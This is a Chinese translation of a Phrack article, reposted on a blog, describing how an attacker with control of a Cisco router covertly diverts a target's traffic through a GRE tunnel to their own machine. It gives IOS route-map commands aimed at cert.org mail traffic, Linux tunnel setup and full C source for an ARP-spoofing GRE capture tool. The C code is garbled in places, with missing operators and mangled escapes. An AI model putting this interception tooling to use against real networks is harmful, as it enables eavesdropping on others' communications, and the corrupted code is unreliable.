當我們完全控制CISCO路由器時能夠做的事情

 翻譯 by mix ---------------------------------|
|----------------和以前一樣,我要申明一下,我不是專業的翻譯員-----------------|
|---------所以我也只能夠根據我自己的理解,儘量符合原文意思的進行翻譯----------|
|------------有能力的朋友最好看原文,我的翻譯只能作爲一個參考而已-------------|
|------------翻譯完後感覺基本上說清楚了這些事情,細節問題就難說了-------------|



- P H R A C K M A G A Z I N E -

Volume 0xa Issue 0x38

0x0a[0x10]


|------------------ 當我們完全控制CISCO路由器時能夠做的事情 ------------------|
|-----------------------------------------------------------------------------|
|-------------------------- gauis <[email protected]> ---------------------------|



----| 1. 聲明

隧道技術(Tunnelx)是HERT(黑客緊急事件應急小組)努力研究開發的一套技術。他不是爲了任何一個攻擊者或信息防衛戰而做的產品工具。嚴格的說,這只是作理論上的研究和論證罷了。

如果你是一個未被授權者,你沒有權利保留該文的任何拷貝或部分信息。如果在文件傳輸過程中有任何的錯誤出現,請發電子郵件到[email protected],我們將馬上給與回覆。

這份文檔中所表達的觀點並不是HERT必要的(necessarily)觀點。所有主管、官員或是職員都沒有任何責任或義務來保證這份文檔所述技術的準確性。

----| 2. 介紹

當我們一提到路由器,我覺得像是在超市中看見許許多多的商品,然後我就會忍不住想到瘋狂的母牛疾病,狂牛病,GMO... 這使我感覺暈眩。繼續查看到cisco.com網站上,顯示有多少公司正在使用cisco 7500,並且數以千計機器正通過他來引導路由... 在那些路由器上,存放着很多網絡的樸絡圖,這讓我們獲得了很多深入滲透的機會。在我對安全失去信心後的很長一段時間中,安全的核心問題就是我們總是信任我們首先已經得到確認的信任關係上。(閱讀Ken Thomson的文章,《reflections on trusting trust》,我覺得這個意思簡單的說就是:如果我首先已經和某主機建立了信任關係,此後的操作中,我將不會再次檢查這臺主機傳過來的任何信息。)

你是否聽到別人這樣說過很多次:“嗨,我已經完全控制了這臺cisco路由器,如果我有IOS src將更爽...我能夠裝木馬或者做這個做那個。”你曾多少次看到人們因爲擁有超級權限密碼(enable password)可以做任何事情而感到高興。對IOS src的改進有所幫助的事,一直很少被人們關心的;最少不會出現在正規bugtraq的讀者中。

其實,你並不是一定需要IOS src,所有你需要的事情都在這兒,(在src裏只有一點點值得高興的事情,但是我們將在後面討論)。當你在路由上面設置好一切的時候,你將獲得建立在路由器上的嗅探。


----| 3. 揭開改變路由路徑的祕密

你要做的就是改變改變路由的通道,將從目標發送的消息通過路由器發送到其他地方,然後在那裏捕捉這個消息,最後將這個消息重新發送給路由器,並且保證這個過程就好像沒有發生過一樣。正常情況下,典型的路由配置將路由信息的過程可以用下圖表示:

Internet ------------ Cisco ------------ Target
外網 Ethernet0 Serial0
Cisco路由器 目標機器


然後我們這樣操作:

# telnet cisco
Trying 192.168.1.240...
Connected to 192.168.1.240.
Escape character is '^]'.


User Access Verification

Password:
cisco> enable
Password:
cisco# configure term
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)# int tunnel0
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
cisco(config-if)# tunnel mode ?
aurp AURP TunnelTalk AppleTalk encapsulation
cayman Cayman TunnelTalk AppleTalk encapsulation
dvmrp DVMRP multicast tunnel
eon EON compatible CLNS tunnel
gre generic route encapsulation protocol
ipip IP over IP encapsulation
nos IP over IP encapsulation (KA9Q/NOS compatible)

cisco(config-if)# tunnel mode gre ip
cisco(config-if)# tunnel source ?
A.B.C.D ip address
BRI ISDN Basic Rate Interface
Dialer Dialer interface
Ethernet IEEE 802.3
Lex Lex interface
Loopback Loopback interface
Null Null interface
Tunnel Tunnel interface
cisco(config-if)# tunnel source Ethernet0/0/0
cisco(config-if)# tunnel destination 192.168.1.1
cisco(config-if)# ^Z
cisco# show interfaces Tunnel0
Tunnel0 is up, line protocol is up
Hardware is Tunnel
Internet address is 192.168.0.1/24
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
Checksumming of packets disabled, fast tunneling enabled
Last input never, output never, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
cisco#

tcpdump將不會輸出任何的結果,除非你在192.168.0.1/24上面嘗試着ping其他的IP。你將看到一些用GRE封裝的ICMP數據包從192.168.1.1的47端口發過來。

在你的linux窗口中,確定協議(端口)47沒有被防火牆阻塞,

test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
test# modprobe ip_gre
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
192.168.1.1
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
test# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
^C

好了,我們新的路由線路已經搭建完成。這樣你就能夠看到默認的GRE封裝的數據傳輸。這裏沒有任何的握手連接,因爲我們不是在M$的網絡中使用GRE2和愚蠢的PPTP封裝。

test# tcpdump -i eth1 host 192.168.1.240 and not port 23
tcpdump: listening on eth1
11:04:44.092895 arp who-has cisco tell private-gw
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)

這裏我們可以看到GRE封裝的數據信息是非常詳細的,並且cisco路由器的編碼器將數據直接送到了linux這裏,並沒有送到這些數據該去的地方。

讓我們到ftp.ee.lbl.gov去看看tcpdump的源代碼。tcpdump源代碼寫得非常的優美;在print-gre.c文件中我們需要稍微的改動一下,用以在隧道技術實施的過程中獲得更多的有用信息。


----| 4. 隧道技術 - IOS 線路改變的透明化和數據的捕捉

我初始化設定了一個基於libpcap和libnet的新的CVS tree,一些GRE頭文件被tcpdump捕捉,但在短暫的休息後我決定重新整理一下,讓整個過程更加簡單明瞭的現實如下:

- 爲了避免在我們進行網絡欺騙(ETHER_SPOOF)時,不會產生數據風暴,我們在以太網中定義一個空的未使用 的IP地址(原文中稱之爲REENTRY)。
- 我們初始化設定了一個libpcap和libnet,並建立起數據鏈路。

- 然後我們寫一個程序用來封裝數據包頭,讓這些數據看起來就像是一個匹配GRE協議的IP數據包,併發往隧道 的出口,就像ARP響應數據包一樣。

- 我們的ARP剖析器(parser)將分析它是否是來自於REENTRY的響應或者是網絡欺騙(ETHER_SPOOF)送出的響 應。

- 我們的GRE剖析器(parser)將調換源數據中的相關信息,比如源IP地址、目的IP地址,並且使用 pcap_dump()記錄數據包到磁盤上,然後再使ttl值加1(或更多),最後計算checksum,並使用libnet_write 將數據發送出去。

- OK,就是這樣了,不要懷疑如此簡單的就能夠實現這一切。現在進入一個有趣的階段,我們不得不重新設置 cisco路由器(定義一個access list用來通過我們所改變的通道的所有數據)。


telnet 192.88.115.98
...

config term
int tunnel0
ip address 192.168.0.1 255.255.255.0
tunnel mode gre ip
tunnel source Ethernet0
tunnel destination TUNNELX_REENTRY_IP
!
access-list 111 permit tcp any host 192.88.209.10 25
!
route-map certisowned
match ip address 111
set ip next-hop 192.168.0.7
!
!
interface Ethernet0
description to cert.org
ip address 192.88.115.98
ip policy route-map certisowned
^Z


如果,你首先將隧道建立好了,現在就可以正常使用了。通我們建立的這個access list,路由鏈路將不會有任何衝突顯現出來。

然而在你修改cisco路由器配置的時候,你要很小心地進行。在你刪除access list之前先刪除route map(Remove the route map first with 'no route-map certisowned' *before* the access list,這句話我覺得我是沒有翻譯得完全正確的,所以大家還是看原文比較好),否則會引起數據的死循環。先在小型的cisco 1600 路由器上面實踐。同樣不要離路由器太遠。當我們使用arp欺騙之後,人們能夠從並不存在的網絡主機上得到響應消息,所以我們要更加小心。

我說過在IOS src裏面是有東西值得我們利用的,這就是他們的加密措施。你能夠建立起加密了的隧道,使用相同的加密鑰匙讓出去的信息得到加密,而回送回來的信息可以正常的解密開。隧道技術(Tunnelx)也是可以這樣的,你同樣需要在pcap數據包頭中使用加密機制,並且保證能夠在數據傳到後進行解密。

OH,當然,我沒有解釋關於pcap的任何事情,你可以寫個小程序從隧道中分析pcap數據格式,注意讓這個小程序能夠對數據進行GER封裝,並且能夠爲每個連接都生成地記錄文件。lseek()這個函數將會是解決這個問題的關鍵。這篇文章不會發表在普通的bugtraq上,或者管理員拿到時,pcap數據剖析器(parser)將不會包含在內,如果你需要特別版的程序或相關技術支持的話,先寄錢給我(555 他和我要錢)。

----| 5. 問候和結局語

:r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer,
akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9,
ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises,
octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr,
teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,(不知道在說什麼,555)

我一直喜歡在高版本的路由軟件下工作,這樣才能夠使我的路由欺騙劫持計劃更容易實現,甚至讓我感覺是在打獵時對獵物進行追蹤... 不要忘記了你是在路由器上面工作,你能夠做任何事情,因爲所有人都默認信任你的一切:)。


----| 6. 程序代碼

//我自己還沒來得及編譯,我虛擬機下的linux被我玩壞了~~~呵呵
<++> p56/Tunnelx/tunnelx.c !0d503a37
// Tunnelx is part of the research and development effort
// conducted by HERT. These are not production tools for either attack or
// defense within an information warfare setting. Rather, they are small
// modifications demonstrating proof of concept.
// comments and crap to [email protected]

// to compile on solaris: (i used libnet-0.99g)
// gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a
// on linux:
// gcc -O2 -I. `libnet-config --defines` -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx libpcap.a libnet.a

#if (HAVE_CONFIG_H)
#include "config.h"
#endif
#include <libnet.h>
#include <pcap.h>

#define IP_UCHAR_COMP(x, y) /
(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])

#define GRE_CP 0x8000 /* Checksum Present */
#define GRE_RP 0x4000 /* Routing Present */
#define GRE_KP 0x2000 /* Key Present */
#define GRE_SP 0x1000 /* Sequence Present */
#define GRE_SIZE (20)
#define GREPROTO_IP 0x0800
#define EXTRACT_16BITS(p) /
((u_short)ntohs(*(u_short *)(p)))

const u_char *packetp;
const u_char *snapend;

#define SNAPLEN 8192
#define TUNNELX_REENTRY "192.168.1.1"
char out[] = "core";
u_long ip_spoof;
u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};

struct gre_hdr
{
u_short flags;
u_short proto;
union
{
struct gre_ckof
{
u_short cksum;
u_short offset;
}
gre_ckof;
u_long key;
u_long seq;
}
gre_void1;
union
{
u_long key;
u_long seq;
u_long routing;
}
gre_void2;
union
{
u_long seq;
u_long routing;
}
gre_void3;
union
{
u_long routing;
}
gre_void4;
};

struct link_int *li;
char default_dev[] = "le0";
char *device = NULL;

void pcap_print (u_char * user, const struct pcap_pkthdr *h,
const u_char * p);
char errbuf[256];

int
main (int argc, char *argv[])
{
int cnt, c, ret, snaplen;
bpf_u_int32 localnet, netmask;
char ebuf[PCAP_ERRBUF_SIZE];
char pcapexp[50];
pcap_t *pd;
struct bpf_program fcode;
pcap_handler printer;
u_char *pcap_userdata;

snaplen = SNAPLEN;
printer = pcap_print;

while ((c = getopt (argc, argv, "i:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
default:
exit (EXIT_FAILURE);
}
}

//inet_aton (TUNNELX_REENTRY, /_spoof);
ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);
device = default_dev;
if (!device)
{
fprintf (stderr, "Specify a device/n");
exit (EXIT_FAILURE);
}

li = libnet_open_link_interface (device, errbuf);
if (!li)
{
fprintf (stderr, "libnet_open_link_interface: %s/n", errbuf);
exit (EXIT_FAILURE);
}
if (device == NULL)
device = pcap_lookupdev (ebuf);
if (device == NULL)
printf ("%s", ebuf);

pd = pcap_open_live (device, snaplen, 1, 500, errbuf);
if (pd == NULL)
{
fprintf (stderr, "pcap_open_live: %s/n", errbuf);
return (-1);
}
if (pd == NULL)
printf ("%s", ebuf);
ret = pcap_snapshot (pd);
if (snaplen < ret)
{
printf ("Snaplen raised from %d to %d/n", snaplen, ret);
snaplen = ret;
}
if (pcap_lookupnet (device, , , ebuf) < 0)
{
localnet = 0;
netmask = 0;
}
sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY);
if (pcap_compile (pd,
,
pcapexp,
1, netmask) < 0)
printf ("%s", pcap_geterr (pd));

if (pcap_setfilter (pd, ) < 0)
printf ("%s", pcap_geterr (pd));
if (out)
{
pcap_dumper_t *p = pcap_dump_open (pd, out);
pcap_userdata = (u_char *) p;
}

if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)
{
(void) fprintf (stderr, "pcap_loop: %s/n", pcap_geterr (pd));
exit (1);
}
pcap_close (pd);
exit (0);
}

void
pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p)
{
register struct libnet_ethernet_hdr *eh;
register struct gre_hdr *gh;
register struct libnet_ip_hdr *ih;
register struct libnet_arp_hdr *ah;
register char *dst, *src;
register u_int ih_length, payload_length, off;
u_int length = h->len;
u_int caplen = h->caplen;
u_short proto;
struct ether_addr tmp_ea;

packetp = p;
snapend = p + caplen;

eh = (struct libnet_ethernet_hdr *) p;
p += sizeof (struct libnet_ethernet_hdr);
caplen -= sizeof (struct libnet_ethernet_hdr);
length -= sizeof (struct libnet_ethernet_hdr);

switch (ntohs (eh->ether_type))
{
case ETHERTYPE_IP:
ih = (struct libnet_ip_hdr *) p;
ih_length = ih->ip_hl * 4;
payload_length = ntohs (ih->ip_len);
payload_length -= ih_length;
off = ntohs (ih->ip_off);
if ((off & 0x1fff) == 0)
{
p = (u_char *) ih + ih_length;
src = strdup (inet_ntoa (ih->ip_src));
dst = strdup (inet_ntoa (ih->ip_dst));
switch (ih->ip_p)
{
#ifndef IPPROTO_GRE
#define IPPROTO_GRE 47
#endif
case IPPROTO_GRE:
gh = (struct gre_hdr *) p;
p += 4;
if (memcmp (>ip_dst, _spoof, 4) == 0)
{
// reverse GRE source and destination
memcpy (tmp_ea.ether_addr_octet, >ip_src, 4);
memcpy (>ip_src, >ip_dst, 4);
memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4);
// ih->ip_id++;
// reverse Ether source and destination
memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN);
memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN);
// dope the ttl up
ih->ip_ttl = 64;
if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1)
return;

if (libnet_write_link_layer (li, device, (u_char *) eh,
payload_length + ih_length + sizeof (struct libnet_ethernet_hdr))
== -1)
return;
pcap_dump (user, h, packetp);
}
proto = EXTRACT_16BITS (>proto);
break;
default:
return;
}
}
break;
case ETHERTYPE_ARP:
// process arp
ah = (struct libnet_arp_hdr *) p;
if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)
{
return;
}
if (memcmp (ah->ar_tpa, _spoof, 4) != 0)
return;
// swap ip source and address i use ar_tha as a temporary place holder
memcpy (ah->ar_tha, ah->ar_spa, 4);
memcpy (ah->ar_spa, ah->ar_tpa, 4);
memcpy (ah->ar_tpa, ah->ar_tha, 4);
// move ether addr source to both destination
memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN);
// copy fake ether addr to both source
memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN);
memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN);
// set arp op code to reply
ah->ar_op = htons (2);
if (libnet_write_link_layer (li, device, (u_char *) eh,
ARP_H + ETH_H) == -1)
return;
break;
}
}
<-->

|EOF|-------------------------------------------------------------------------|

發佈了1527 篇原創文章 · 獲贊 50 · 訪問量 443萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章